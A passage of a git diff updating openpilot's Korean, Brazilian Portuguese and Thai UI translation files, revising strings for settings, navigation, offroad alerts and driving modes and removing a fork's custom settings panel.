운전자 모니터링이 좋은 가시성을 갖도록 운전자를 향한 카메라를 미리 봅니다. (차량연결은 해제되어있어야 합니다) + 운전자 모니터링이 잘 되는지 확인하기 위해 카메라를 향한 운전자를 미리 봅니다. (차량연결은 해제되어있어야 합니다) Reset Calibration @@ -403,11 +227,11 @@ Off - Does not emit any sound at all. openpilot requires the device to be mounted within 4° left or right and within 5° up or 8° down. openpilot is continuously calibrating, resetting is rarely required. - openpilot은 좌우측은 4° 이내, 위쪽은 5° 아래쪽은 8° 이내로 장치를 설치해야 합니다. openpilot은 지속적으로 보정되므로 리셋은 거의 필요하지 않습니다. + openpilot 장치는 좌우측 4° 이내, 위쪽 5° 아래쪽 8° 이내로 장착되어야 합니다. openpilot은 지속적으로 보정되며 재설정은 거의 필요하지 않습니다. Your device is pointed %1° %2 and %3° %4. - 사용자의 장치가 %1° %2 및 %3° %4 위치에 설치되어있습니다. + 사용자의 장치는 %1° %2 및 %3° %4 의 위치에 장착되어 있습니다. down @@ -449,14 +273,6 @@ Off - Does not emit any sound at all. Review 다시보기 - - Debug Console - - - - Error displaying tmux output. - - DriveStats @@ -566,44 +382,14 @@ Off - Does not emit any sound at all. - MapPanel + MapSettings - Current Destination - 현재 목적지 + NAVIGATION + 내비게이션 - CLEAR - 삭제 - - - Recent Destinations - 최근 목적지 - - - Try the Navigation Beta - 네비게이션(베타)를 사용해보세요 - - - Get turn-by-turn directions displayed and more with a comma -prime subscription. Sign up now: https://connect.comma.ai - 자세한 경로안내를 원하시면 comma prime을 구독하세요. -등록:https://connect.comma.ai - - - No home -location set - 집 -설정되지않음 - - - No work -location set - 회사 -설정되지않음 - - - no recent destinations - 최근 목적지 없음 + Manage at connect.comma.ai + connect.comma.ai에서 관리됩니다 @@ -614,7 +400,11 @@ location set Waiting for GPS - GPS 수신중 입니다 + GPS 수신중 + + + Waiting for route + @@ -640,13 +430,70 @@ location set for "%1" - "%1"에 접속하려면 인증이 필요합니다 + "%1"에 접속하려면 비밀번호가 필요합니다 Wrong password 비밀번호가 틀렸습니다 + + OffroadAlert + + Immediately connect to the internet to check for updates. If you do not connect to the internet, openpilot won't engage in %1 + 즉시 인터넷에 연결하여 업데이트를 확인하세요. 인터넷에 연결되어 있지 않으면 %1 이후에는 openpilot이 활성화되지 않습니다. + + + Connect to internet to check for updates. openpilot won't automatically start until it connects to internet to check for updates. + 업데이트를 확인하려면 인터넷에 연결하세요. openpilot은 업데이트를 확인하기 위해 인터넷에 연결할 때까지 자동으로 시작되지 않습니다. + + + Unable to download updates +%1 + 업데이트를 다운로드할수 없습니다 +%1 + + + Invalid date and time settings, system won't start. Connect to internet to set time. + 날짜 및 시간 설정이 잘못되어 시스템이 시작되지 않습니다. 날짜와 시간을 동기화하려면 인터넷에 연결하세요. + + + Taking camera snapshots. System won't start until finished. + 카메라 스냅샷 찍기가 완료될 때까지 시스템이 시작되지 않습니다. + + + An update to your device's operating system is downloading in the background. You will be prompted to update when it's ready to install. + 백그라운드에서 운영 체제에 대한 업데이트가 다운로드되고 있습니다. 설치준비가 완료되면 업데이트하라는 메시지가 표시됩니다. + + + Device failed to register. It will not connect to or upload to comma.ai servers, and receives no support from comma.ai. If this is an official device, visit https://comma.ai/support. + 장치를 등록하지 못했습니다. comma.ai 서버에 연결하거나 업로드하지 않으며 comma.ai에서 지원을 받지 않습니다. 공식 장치인경우 https://comma.ai/support 에 방문하여 문의하세요. + + + NVMe drive not mounted. + NVMe 드라이브가 마운트되지 않았습니다. + + + Unsupported NVMe drive detected. Device may draw significantly more power and overheat due to the unsupported NVMe. + 지원되지 않는 NVMe 드라이브가 감지되었습니다. 지원되지 않는 NVMe 드라이브로 인해 장치가 훨씬 더 많은 전력을 소비하고 과열될 수 있습니다. + + + openpilot was unable to identify your car. Your car is either unsupported or its ECUs are not recognized. Please submit a pull request to add the firmware versions to the proper vehicle. Need help? Join discord.comma.ai. + opepilot이 차량을 식별할수 없었습니다. 지원되지 않는 차량이거나 ECU가 인식되지 않습니다. 해당 차량에 펌웨어 버전을 추가하려면 PR을 제출하세요. 도움이 필요하시면 discord.comma.ai에 가입하세요. + + + openpilot was unable to identify your car. Check integrity of cables and ensure all connections are secure, particularly that the comma power is fully inserted in the OBD-II port of the vehicle. Need help? Join discord.comma.ai. + openpilot이 차량을 식별할수 없었습니다. 케이블의 무결성을 점검하고 모든 연결부, 특히 comma power가 차량의 OBD-II 포트에 완전히 삽입되었는지 확인하세요. 도움이 필요하시면 discord.comma.ai에 가입하세요. + + + openpilot detected a change in the device's mounting position. Ensure the device is fully seated in the mount and the mount is firmly secured to the windshield. + openpilot 장치의 장착 위치 변경을 감지했습니다. 장치가 마운트에 완전히 장착되고 마운트가 앞유리에 단단히 고정되었는지 확인하세요. + + + Device temperature too high. System cooling down before starting. Current internal component temperature: %1 + 장치 온도가 너무 높습니다. 시작하기 전에 장치온도를 낮춰주세요. 현재 내부 구성 요소 온도: %1 + + OffroadHome @@ -666,7 +513,7 @@ location set PairingPopup Pair your device to your comma account - 장치를 콤마 계정과 페어링합니다 + 장치를 comma 계정과 페어링합니다 Go to https://connect.comma.ai on your phone @@ -678,7 +525,7 @@ location set Bookmark connect.comma.ai to your home screen to use it like an app - connect.comma.ai을 앱처럼 사용하려면 홈 화면에 바로가기를 만드십시오 + connect.comma.ai를 앱처럼 사용하려면 홈 화면에 바로가기를 만드세요. @@ -696,11 +543,11 @@ location set PrimeAdWidget Upgrade Now - 지금 업그레이드 + 지금 업그레이드 하세요 Become a comma prime member at connect.comma.ai - connect.comma.ai 접속 comma prime 가입 + connect.comma.ai에 접속하여 comma prime 회원이 되세요 PRIME FEATURES: @@ -711,12 +558,16 @@ location set 원격 접속 - 1 year of storage - 1년간 저장 + 24/7 LTE connectivity + 항상 LTE 연결 - Developer perks - 개발자 혜택 + Turn-by-turn navigation + 내비게이션 경로안내 + + + 1 year of drive storage + 1년간 저장 @@ -795,7 +646,7 @@ location set Unable to mount data partition. Partition may be corrupted. Press confirm to erase and reset your device. - 데이터 파티션을 마운트할 수 없습니다. 파티션이 손상되었을 수 있습니다. 장치를 초기화하려면 확인을 누르세요. + 데이터 파티션을 마운트할 수 없습니다. 파티션이 손상되었을 수 있습니다. 모든 내용을 지우고 장치를 초기화하려면 확인을 누르세요. Press confirm to erase all content and settings. Press cancel to resume boot. @@ -804,7 +655,7 @@ location set Resetting device... This may take up to a minute. - 장치 초기화 중... + 장치를 초기화하는 중... 최대 1분이 소요될 수 있습니다. @@ -830,18 +681,6 @@ This may take up to a minute. Software 소프트웨어 - - Navigation - 네비게이션 - - - Vehicle Model: - - - - [AUTO SELECT] - - Setup @@ -883,7 +722,7 @@ This may take up to a minute. Waiting for internet - 네트워크 접속을 기다립니다 + 인터넷 대기중 Enter URL @@ -891,7 +730,7 @@ This may take up to a minute. for Custom Software - for Custom Software + 커스텀 소프트웨어 Downloading... @@ -903,7 +742,7 @@ This may take up to a minute. Ensure the entered URL is valid, and the device’s internet connection is good. - 입력된 URL이 유효하고 장치의 네트워크 연결이 잘 되어 있는지 확인하세요. + 입력된 URL이 유효하고 장치의 인터넷 연결이 양호한지 확인하세요. Reboot device @@ -930,7 +769,7 @@ This may take up to a minute. Pair your device with comma connect (connect.comma.ai) and claim your comma prime offer. - 장치를 (connect.comma.ai)에서 페어링하고 comma prime 오퍼를 청구합니다. + 장치를 comma connect (connect.comma.ai)에서 페어링하고 comma prime 제안을 요청하세요. Pair device @@ -997,11 +836,11 @@ This may take up to a minute. Wi-Fi - Wi-Fi + wifi ETH - 이더넷 + LAN 2G @@ -1080,7 +919,7 @@ This may take up to a minute. up to date, last checked %1 - 최신 상태, 마지막으로 확인 %1 + 최신 상태 입니다, %1에 마지막으로 확인 DOWNLOAD @@ -1123,7 +962,7 @@ This may take up to a minute. Username '%1' has no keys on GitHub - '%1'의 키가 GitHub에 없습니다 + 사용자 '%1'의 키가 GitHub에 없습니다 Request timed out @@ -1131,7 +970,7 @@ This may take up to a minute. Username '%1' doesn't exist on GitHub - '%1'은 GitHub에 없습니다 + 사용자 '%1'는 GitHub에 없습니다 @@ -1153,7 +992,7 @@ This may take up to a minute. Scroll to accept - 허용하려면 아래로 스크롤하세요 + 동의하려면 아래로 스크롤하세요 Agree @@ -1176,7 +1015,7 @@ This may take up to a minute. Receive alerts to steer back into the lane when your vehicle drifts over a detected lane line without a turn signal activated while driving over 31 mph (50 km/h). - 차량이 50km/h(31mph) 이상의 속도로 주행하는 동안 방향지시등 없이 감지된 차선 위를 주행할 경우 차선이탈 경고를 표시합니다. + 차량이 50km/h(31mph) 이상의 속도로 주행하는 동안 방향지시등이 켜지지 않은 상태에서 차량이 감지된 차선을 벗어나면 차선이탈 경고를 합니다. Use Metric System @@ -1200,7 +1039,7 @@ This may take up to a minute. When enabled, pressing the accelerator pedal will disengage openpilot. - 활성화된 경우 가속 페달을 누르면 openpilot이 해제됩니다. + 활성화된 경우 가속 페달을 밟으면 openpilot이 해제됩니다. Show ETA in 24h Format @@ -1248,15 +1087,7 @@ This may take up to a minute. openpilot longitudinal control may come in a future update. - 오픈파일럿 롱컨트롤은 향후 업데이트에서 제공될 수 있습니다. - - - An experimental version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. - 오픈파일럿 롱컨트롤의 실험 버전은 실험적 모드와 함께 릴리즈 되지 않은 브랜치에서 테스트할 수 있습니다. - - - Enable experimental longitudinal control to allow Experimental mode. - 실험적 롱컨트롤을 사용하려면 실험적 모드를 활성화 하세요. + openpilot 롱컨트롤은 향후 업데이트에서 제공될 수 있습니다. openpilot Longitudinal Control (Alpha) @@ -1268,35 +1099,43 @@ This may take up to a minute. On this car, openpilot defaults to the car's built-in ACC instead of openpilot's longitudinal control. Enable this to switch to openpilot longitudinal control. Enabling Experimental mode is recommended when enabling openpilot longitudinal control alpha. - 이 차량은 openpilot 롱컨트롤 대신 차량의 내장 ACC로 기본 설정됩니다. openpilot 롱컨트롤으로 전환하려면 이 기능을 활성화하세요. openpilot 롱컨트롤 알파를 활성화하는경우 실험적 모드 활성화를 권장합니다. + 이 차량은 openpilot 롱컨트롤 대신 차량의 ACC로 기본 설정됩니다. openpilot 롱컨트롤으로 전환하려면 이 기능을 활성화하세요. openpilot 롱컨트롤 알파를 활성화하는경우 실험적 모드 활성화를 권장합니다. Aggressive - + 공격적 Standard - + 표준 Relaxed - + 편안한 Driving Personality - + 주행 모드 - Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. - + Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. In relaxed mode openpilot will stay further away from lead cars. + 표준 모드를 권장합니다. 공격적 모드에서는 openpilot은 앞차를 더 가까이 따라가며 가속과 감속을 더 공격적으로 사용합니다. 편안한 모드에서 openpilot은 선두 차량에서 더 멀리 떨어져 있습니다. - Enable Right-Hand Drive - + An alpha version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. + openpilot 롱컨트롤 알파 버전은 비 릴리스 분기에서 실험적 모드와 함께 테스트할 수 있습니다. - Allow openpilot to obey left-hand traffic conventions and perform driver monitoring on right driver seat. - + Navigate on openpilot + Navigate on openpilot (NOO) + + + When navigation has a destination, openpilot will input the map information into the model. This generally improves behavior and allows openpilot to keep left or right appropriately at forks/exits and take turns. Lane change behavior is unchanged and still activated by the driver. This is an alpha quality feature; mistakes should be expected. + 내비게이션에 목적지가 있으면 openpilot이 경로 정보를 모델에 입력합니다. 이것은 일반적으로 동작을 개선하고 openpilot이 분기점에서 적절하게 왼쪽 또는 오른쪽을 유지하고 회전할 수 있도록 합니다. 차선 변경 동작은 변경되지 않았으며 여전히 운전자에 의해 활성화됩니다. 이것은 알파 상태의 기능이니 사용에 주의해야 합니다. + + + Enable the openpilot longitudinal control (alpha) toggle to allow Experimental mode. + openpilot E2E 롱컨트롤 (알파) 토글을 활성화하여 실험적 모드를 허용합니다. @@ -1338,11 +1177,11 @@ This may take up to a minute. WiFiPromptWidget Setup Wi-Fi - Wi-Fi 설정 + wifi 설정 Connect to Wi-Fi to upload driving data and help improve openpilot - Wi-Fi에 연결하여 주행 데이터를 업로드하고 openpilot 개선에 참여하세요. + wifi에 연결하여 주행 데이터를 업로드하고 openpilot 개선에 참여하세요. Open Settings @@ -1373,7 +1212,7 @@ This may take up to a minute. Forget Wi-Fi Network "%1"? - wifi 네트워크 저장안함 "%1"? + "%1"를 저장하지 않겠습니까? Forget diff --git a/selfdrive/ui/translations/main_pt-BR.ts b/selfdrive/ui/translations/main_pt-BR.ts index 1375b6184..a4cab9995 100644 --- a/selfdrive/ui/translations/main_pt-BR.ts +++ b/selfdrive/ui/translations/main_pt-BR.ts @@ -90,32 +90,6 @@ VELO - - C2NetworkPanel - - Wi-Fi Settings - - - - OPEN - - - - Tethering Settings - - - - IP Address - Endereço IP - - - - CarSelectionPanel - - [AUTO SELECT] - - - ConfirmationDialog @@ -127,183 +101,6 @@ Cancelar - - DPCtrlPanel - - When enabled, openpilot lateral Control will be always on when ACC MAIN is ON. -Reboot required. - - - - Enable MapD - - - - When enabled, openpilot will display current road name and speed limit on the screen. -Reboot required. - - - - Enable Lane Priority Mode - - - - When enabled, openpilot will use lane lines for lateral control, fallback to laneless mode automatically when lane lines probabilities are low. -Reboot required. - - - - Enable Auto Shutdown - - - - When enabled, openpilot will shutdown the device automatically. -Reboot required. - - - - Auto Shutdown In - - - - mins - - - - Enable Stop and Go (SnG) Hack - - - - When enabled, openpilot will stop sending standstill signal when the car is fully stopped. -ONLY WORK ON SOME VEHICLES. -Reboot Required. - - - - Enable Door Auto Locking - - - - When enabled, openpilot will attempt to lock the doors when drive above 10 km/h (6.2 mph). -Reboot Required. - - - - Enable Door Auto Unlocking - - - - When enabled, openpilot will attempt to unlock the doors when shift to gear P. -Reboot Required. - - - - When enabled, openpilot will use the good old 0.8.13.1 driving model. -For safety reason, vision only openpilot longitudinal will be disabled. -Reboot required. - - - - Use 0.8.13.1 Driving Model - - - - Ctrl - Lateral - - - - Enable ALKA - - - - Ctrl - Longitudinal - - - - Device - Dispositivo - - - Ctrl - Overall - - - - Toyota / Lexus - - - - Disable Temp Check - - - - When enabled, openpilot will disable device temperature check. -**NOTED** An overheated device may result in random shutdowns or lag. -Reboot required. - - - - Disable IR - - - - When enabled, openpilot will disable IR completely. -Reboot required. - - - - Standard - - - - On-Road - - - - MAIN - - - - OP - - - - Off - - - - Display Mode - - - - On-Road - When driving, the display will be off (excl. warning). -MAIN - When ACC MAIN is on, the display will be off (excl. warning). -OP - When OP is enabled, the display will be off (excl. warning). -Off - the display will be off completely (incl. warning). -Reboot required. - - - - Warning - - - - Audible Alert Mode - - - - Warning - Only emits sound when there is a warning. -Off - Does not emit any sound at all. - - - - Adjust your shutdown waiting period. - - - - Immediately - - - DeclinePage @@ -319,6 +116,33 @@ Off - Does not emit any sound at all. Rejeitar, desintalar %1 + + DestinationWidget + + Home + Casa + + + Work + Trabalho + + + No destination set + Nenhum destino definido + + + No %1 location set + Endereço de %1 não definido + + + home + casa + + + work + trabalho + + DevicePanel @@ -449,14 +273,6 @@ Off - Does not emit any sound at all. Review Revisar - - Debug Console - - - - Error displaying tmux output. - - DriveStats @@ -567,44 +383,14 @@ Off - Does not emit any sound at all. - MapPanel + MapSettings - Current Destination - Destino Atual + NAVIGATION + NAVEGAÇÃO - CLEAR - LIMPAR - - - Recent Destinations - Destinos Recentes - - - Try the Navigation Beta - Experimente a Navegação Beta - - - Get turn-by-turn directions displayed and more with a comma -prime subscription. Sign up now: https://connect.comma.ai - Obtenha instruções passo a passo exibidas e muito mais com -uma assinatura prime. Inscreva-se agora: https://connect.comma.ai - - - No home -location set - Sem local -residência definido - - - No work -location set - Sem local de -trabalho definido - - - no recent destinations - sem destinos recentes + Manage at connect.comma.ai + Gerencie em connect.comma.ai @@ -617,6 +403,10 @@ trabalho definido Waiting for GPS Esperando por GPS + + Waiting for route + + MultiOptionDialog @@ -648,6 +438,63 @@ trabalho definido Senha incorreta + + OffroadAlert + + Immediately connect to the internet to check for updates. If you do not connect to the internet, openpilot won't engage in %1 + Conecte-se imediatamente à internet para verificar se há atualizações. Se você não se conectar à internet em %1 não será possível acionar o openpilot. + + + Connect to internet to check for updates. openpilot won't automatically start until it connects to internet to check for updates. + Conecte-se à internet para verificar se há atualizações. O openpilot não será iniciado automaticamente até que ele se conecte à internet para verificar se há atualizações. + + + Unable to download updates +%1 + Não é possível baixar atualizações +%1 + + + Invalid date and time settings, system won't start. Connect to internet to set time. + Configurações de data e hora inválidas, o sistema não será iniciado. Conecte-se à internet para definir o horário. + + + Taking camera snapshots. System won't start until finished. + Tirando fotos da câmera. O sistema não será iniciado até terminar. + + + An update to your device's operating system is downloading in the background. You will be prompted to update when it's ready to install. + Uma atualização para o sistema operacional do seu dispositivo está sendo baixada em segundo plano. Você será solicitado a atualizar quando estiver pronto para instalar. + + + Device failed to register. It will not connect to or upload to comma.ai servers, and receives no support from comma.ai. If this is an official device, visit https://comma.ai/support. + Falha ao registrar o dispositivo. Ele não se conectará ou fará upload para os servidores comma.ai e não receberá suporte da comma.ai. Se este for um dispositivo oficial, visite https://comma.ai/support. + + + NVMe drive not mounted. + Unidade NVMe não montada. + + + Unsupported NVMe drive detected. Device may draw significantly more power and overheat due to the unsupported NVMe. + Unidade NVMe não suportada detectada. O dispositivo pode consumir significativamente mais energia e superaquecimento devido ao NVMe não suportado. + + + openpilot was unable to identify your car. Your car is either unsupported or its ECUs are not recognized. Please submit a pull request to add the firmware versions to the proper vehicle. Need help? Join discord.comma.ai. + O openpilot não conseguiu identificar o seu carro. Seu carro não é suportado ou seus ECUs não são reconhecidos. Envie um pull request para adicionar as versões de firmware ao veículo adequado. Precisa de ajuda? Junte-se discord.comma.ai. + + + openpilot was unable to identify your car. Check integrity of cables and ensure all connections are secure, particularly that the comma power is fully inserted in the OBD-II port of the vehicle. Need help? Join discord.comma.ai. + O openpilot não conseguiu identificar o seu carro. Verifique a integridade dos cabos e certifique-se de que todas as conexões estejam seguras, especialmente se o comma power está totalmente inserido na porta OBD-II do veículo. Precisa de ajuda? Junte-se discord.comma.ai. + + + openpilot detected a change in the device's mounting position. Ensure the device is fully seated in the mount and the mount is firmly secured to the windshield. + O openpilot detectou uma mudança na posição de montagem do dispositivo. Verifique se o dispositivo está totalmente encaixado no suporte e se o suporte está firmemente preso ao para-brisa. + + + Device temperature too high. System cooling down before starting. Current internal component temperature: %1 + Temperatura do dispositivo muito alta. O sistema está sendo resfriado antes de iniciar. A temperatura atual do componente interno é: %1 + + OffroadHome @@ -709,15 +556,19 @@ trabalho definido Remote access - Acesso remoto + Acesso remoto (proxy comma) - 1 year of storage - 1 ano na nuvem + 24/7 LTE connectivity + Conectividade LTE (só nos EUA) - Developer perks - Benefícios para devs + Turn-by-turn navigation + Navegação passo a passo + + + 1 year of drive storage + 1 ano de dados em nuvem @@ -834,18 +685,6 @@ Isso pode levar até um minuto. Software Software - - Navigation - Navegação - - - Vehicle Model: - - - - [AUTO SELECT] - - Setup @@ -1080,23 +919,23 @@ Isso pode levar até um minuto. failed to check for update - + falha ao verificar por atualizações up to date, last checked %1 - + atualizado, última verificação %1 DOWNLOAD - + BAIXAR update available - + atualização disponível never - + nunca @@ -1228,7 +1067,7 @@ Isso pode levar até um minuto. openpilot defaults to driving in <b>chill mode</b>. Experimental mode enables <b>alpha-level features</b> that aren't ready for chill mode. Experimental features are listed below: - openpilot por padrão funciona em <b>modo chill</b>. modo Experimental ativa <b>recursos de nível-alfa</b> que não estão prontos para o modo chill. Recursos experimentais estão listados abaixo: + openpilot por padrão funciona em <b>modo chill</b>. modo Experimental ativa <b>recursos de nível-embrionário</b> que não estão prontos para o modo chill. Recursos experimentais estão listados abaixo: 🌮 End-to-End Longitudinal Control 🌮 @@ -1236,7 +1075,7 @@ Isso pode levar até um minuto. Let the driving model control the gas and brakes. openpilot will drive as it thinks a human would, including stopping for red lights and stop signs. Since the driving model decides the speed to drive, the set speed will only act as an upper bound. This is an alpha quality feature; mistakes should be expected. - Deixe o modelo de IA controlar o acelerador e os freios. O openpilot irá dirigir como pensa que um humano faria, incluindo parar em sinais vermelhos e sinais de parada. Uma vez que o modelo de condução decide a velocidade a conduzir, a velocidade definida apenas funcionará como um limite superior. Este é um recurso de qualidade alfa; erros devem ser esperados. + Deixe o modelo de IA controlar o acelerador e os freios. O openpilot irá dirigir como pensa que um humano faria, incluindo parar em sinais vermelhos e sinais de parada. Uma vez que o modelo de condução decide a velocidade a conduzir, a velocidade definida apenas funcionará como um limite superior. Este é um recurso de qualidade embrionária; erros devem ser esperados. New Driving Visualization @@ -1252,55 +1091,55 @@ Isso pode levar até um minuto. openpilot longitudinal control may come in a future update. - O controle longitudinal openpilot pode vir em uma atualização futura. - - - An experimental version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. - Uma versão experimental do controle longitudinal openpilot pode ser testada, juntamente com o modo Experimental, em branches de desenvolvimento. - - - Enable experimental longitudinal control to allow Experimental mode. - Ative o controle longitudinal experimental para permitir o modo Experimental. + O controle longitudinal openpilot poderá vir em uma atualização futura. openpilot Longitudinal Control (Alpha) - Controle Longitudinal openpilot (Alpha) + Controle Longitudinal openpilot (Embrionário) WARNING: openpilot longitudinal control is in alpha for this car and will disable Automatic Emergency Braking (AEB). - AVISO: o controle longitudinal openpilot está em alfa para este carro e desativará a Frenagem Automática de Emergência (AEB). + AVISO: o controle longitudinal openpilot está em estado embrionário para este carro e desativará a Frenagem Automática de Emergência (AEB). On this car, openpilot defaults to the car's built-in ACC instead of openpilot's longitudinal control. Enable this to switch to openpilot longitudinal control. Enabling Experimental mode is recommended when enabling openpilot longitudinal control alpha. - Neste carro, o openpilot tem como padrão o ACC embutido do carro em vez do controle longitudinal do openpilot. Habilite isso para alternar para o controle longitudinal openpilot. Recomenda-se ativar o modo Experimental ao ativar o alfa de controle longitudinal openpilot. + Neste carro, o openpilot tem como padrão o ACC embutido do carro em vez do controle longitudinal do openpilot. Habilite isso para alternar para o controle longitudinal openpilot. Recomenda-se ativar o modo Experimental ao ativar o embrionário controle longitudinal openpilot. Aggressive - + Disputa Standard - + Neutro Relaxed - + Calmo Driving Personality - + Temperamento de Direção - Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. - + Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. In relaxed mode openpilot will stay further away from lead cars. + Neutro é o recomendado. No modo disputa o openpilot seguirá o carro da frente mais de perto e será mais agressivo com a aceleração e frenagem. No modo calmo o openpilot se manterá mais longe do carro da frente. - Enable Right-Hand Drive - + An alpha version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. + Uma versão embrionária do controle longitudinal openpilot pode ser testada em conjunto com o modo Experimental, em branches que não sejam de produção. - Allow openpilot to obey left-hand traffic conventions and perform driver monitoring on right driver seat. - + Navigate on openpilot + Navegação no openpilot + + + When navigation has a destination, openpilot will input the map information into the model. This generally improves behavior and allows openpilot to keep left or right appropriately at forks/exits and take turns. Lane change behavior is unchanged and still activated by the driver. This is an alpha quality feature; mistakes should be expected. + Quando a navegação tem um destino, o openpilot insere as informações do mapa no modelo. Isso geralmente melhora o comportamento e permite que o openpilot mantenha a esquerda ou a direita adequadamente nas bifurcações/saídas e entre nas curvas. O comportamento de mudança de faixa permanece inalterado e ainda é ativado pelo motorista. Este é um recurso de qualidade alfa; erros devem ser esperados. + + + Enable the openpilot longitudinal control (alpha) toggle to allow Experimental mode. + Habilite o controle longitudinal (embrionário) openpilot para permitir o modo Experimental. @@ -1342,12 +1181,11 @@ Isso pode levar até um minuto. WiFiPromptWidget Setup Wi-Fi - Configurar -Wi-Fi + Configurar Wi-Fi Connect to Wi-Fi to upload driving data and help improve openpilot - Conecte se ao Wi-Fi para upload de dados de condução e ajudar a melhorar o openpilot + Conecte se ao Wi-Fi para realizar upload de dados de condução e ajudar a melhorar o openpilot Open Settings @@ -1355,7 +1193,7 @@ Wi-Fi Uploading training data - Subindo dados para treinamento + Subindo dados Your data is used to train driving models and help improve openpilot diff --git a/selfdrive/ui/translations/main_th.ts b/selfdrive/ui/translations/main_th.ts index 45f91f1cd..75665eb84 100644 --- a/selfdrive/ui/translations/main_th.ts +++ b/selfdrive/ui/translations/main_th.ts @@ -116,6 +116,33 @@ ปฏิเสธ และถอนการติดตั้ง %1 + + DestinationWidget + + Home + บ้าน + + + Work + ที่ทำงาน + + + No destination set + ยังไม่ได้เลือกจุดหมาย + + + home + บ้าน + + + work + ที่ทำงาน + + + No %1 location set + ยังไม่ได้เลือกตำแหน่ง%1 + + DevicePanel @@ -355,44 +382,14 @@ - MapPanel + MapSettings - Current Destination - ปลายทางปัจจุบัน + NAVIGATION + การนำทาง - CLEAR - ล้างข้อมูล - - - Recent Destinations - ปลายทางล่าสุด - - - Try the Navigation Beta - ลองใช้ระบบนำทาง (เบต้า) - - - Get turn-by-turn directions displayed and more with a comma -prime subscription. Sign up now: https://connect.comma.ai - รับการแสดงเส้นทางแบบเลี้ยวต่อเลี้ยว และอื่นๆ ด้วยการสมัครบริการ -comma prime สมัครเลย: https://connect.comma.ai - - - No home -location set - ยังไม่ได้กำหนด -ตำแหน่งของบ้าน - - - No work -location set - ยังไม่ได้กำหนด -ตำแหน่งของที่ทำงาน - - - no recent destinations - ไม่พบปลายทางล่าสุด + Manage at connect.comma.ai + จัดการได้ที่ connect.comma.ai @@ -436,6 +433,63 @@ location set รหัสผ่านผิด + + OffroadAlert + + Device temperature too high. System cooling down before starting. Current internal component temperature: %1 + อุณหภูมิของอุปกรณ์สูงเกินไป ระบบกำลังทำความเย็นก่อนเริ่ม อุณหภูมิของชิ้นส่วนภายในปัจจุบัน: %1 + + + Immediately connect to the internet to check for updates. If you do not connect to the internet, openpilot won't engage in %1 + กรุณาเชื่อมต่ออินเตอร์เน็ตเพื่อตรวจสอบอัปเดทเดี๋ยวนี้ ถ้าคุณไม่เชื่อมต่ออินเตอร์เน็ต openpilot จะไม่ทำงานในอีก %1 + + + Connect to internet to check for updates. openpilot won't automatically start until it connects to internet to check for updates. + กรุณาเชื่อมต่ออินเตอร์เน็ตเพื่อตรวจสอบอัปเดท openpilot จะไม่เริ่มทำงานอัตโนมัติจนกว่าจะได้เชื่อมต่อกับอินเตอร์เน็ตเพื่อตรวจสอบอัปเดท + + + Unable to download updates +%1 + ไม่สามารถดาวน์โหลดอัพเดทได้ +%1 + + + Invalid date and time settings, system won't start. Connect to internet to set time. + วันที่และเวลาไม่ถูกต้อง ระบบจะไม่เริ่มทำงาน เชื่อต่ออินเตอร์เน็ตเพื่อตั้งเวลา + + + Taking camera snapshots. System won't start until finished. + กล้องกำลังถ่ายภาพ ระบบจะไม่เริ่มทำงานจนกว่าจะเสร็จ + + + An update to your device's operating system is downloading in the background. You will be prompted to update when it's ready to install. + กำลังดาวน์โหลดอัปเดทสำหรับระบบปฏิบัติการอยู่เบื้องหลัง คุณจะได้รับการแจ้งเตือนเมื่อระบบพร้อมสำหรับการติดตั้ง + + + Device failed to register. It will not connect to or upload to comma.ai servers, and receives no support from comma.ai. If this is an official device, visit https://comma.ai/support. + ไม่สามารถลงทะเบียนอุปกรณ์ได้ อุปกรณ์จะไม่สามารถเชื่อมต่อหรืออัปโหลดไปยังเซิร์ฟเวอร์ของ comma.ai ได้และจะไม่ได้รับการสนับสนุนจาก comma.ai ถ้านี่คืออุปกรณ์อย่างเป็นทางการ กรุณาติดต่อ https://comma.ai/support + + + NVMe drive not mounted. + ไม่ได้ติดตั้งไดร์ฟ NVMe + + + Unsupported NVMe drive detected. Device may draw significantly more power and overheat due to the unsupported NVMe. + ตรวจพบไดร์ฟ NVMe ที่ไม่รองรับ อุปกรณ์อาจใช้พลังงานมากขึ้นและร้อนเกินไปเนื่องจากไดร์ฟ NVMe ที่ไม่รองรับ + + + openpilot was unable to identify your car. Your car is either unsupported or its ECUs are not recognized. Please submit a pull request to add the firmware versions to the proper vehicle. Need help? Join discord.comma.ai. + openpilot ไม่สามารถระบุรถยนต์ของคุณได้ ระบบอาจไม่รองรับรถยนต์ของคุณหรือไม่รู้จัก ECU กรุณาส่ง pull request เพื่อเพิ่มรุ่นของเฟิร์มแวร์ให้กับรถยนต์ที่เหมาะสม หากต้องการความช่วยเหลือให้เข้าร่วม discord.comma.ai + + + openpilot was unable to identify your car. Check integrity of cables and ensure all connections are secure, particularly that the comma power is fully inserted in the OBD-II port of the vehicle. Need help? Join discord.comma.ai. + openpilot ไม่สามารถระบุรถยนต์ของคุณได้ กรุณาตรวจสอบสายเคเบิ้ลและจุดเชื่อมต่อทั้งหมดว่าแน่นหนา โดยเฉพาะ comma power ว่าได้ดันเข้าไปยังพอร์ต OBD II ของรถยนต์จนสุด หากต้องการความช่วยเหลือให้เข้าร่วม discord.comma.ai + + + openpilot detected a change in the device's mounting position. Ensure the device is fully seated in the mount and the mount is firmly secured to the windshield. + openpilot ตรวจพบการเปลี่ยนแปลงของตำแหน่งที่ติดตั้ง กรุณาตรวจสอบว่าได้เลื่อนอุปกรณ์เข้ากับจุดติดตั้งจนสุดแล้ว และจุดติดตั้งได้ยึดติดกับกระจกหน้าอย่างแน่นหนา + + OffroadHome @@ -518,14 +572,6 @@ location set comma prime comma prime - - CONNECT.COMMA.AI - CONNECT.COMMA.AI - - - COMMA POINTS - คะแนน COMMA - QObject @@ -627,10 +673,6 @@ This may take up to a minute. Software ซอฟต์แวร์ - - Navigation - การนำทาง - Setup @@ -863,6 +905,26 @@ This may take up to a minute. Uninstall ถอนการติดตั้ง + + failed to check for update + ไม่สามารถตรวจสอบอัปเดตได้ + + + DOWNLOAD + ดาวน์โหลด + + + update available + 